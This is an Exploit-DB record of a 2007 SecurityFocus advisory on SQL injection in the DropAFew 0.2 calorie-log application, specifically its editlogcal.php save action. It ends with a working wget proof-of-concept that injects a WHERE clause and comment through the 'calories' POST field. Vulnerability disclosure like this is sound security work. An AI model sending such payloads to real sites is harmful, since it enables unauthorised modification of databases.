DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection

EDB-ID:

29833




Platform:

PHP

Date:

2007-04-10


source: https://www.securityfocus.com/bid/23400/info
  
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
These issues affect DropAFew 0.2; prior versions may also be affected.

wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php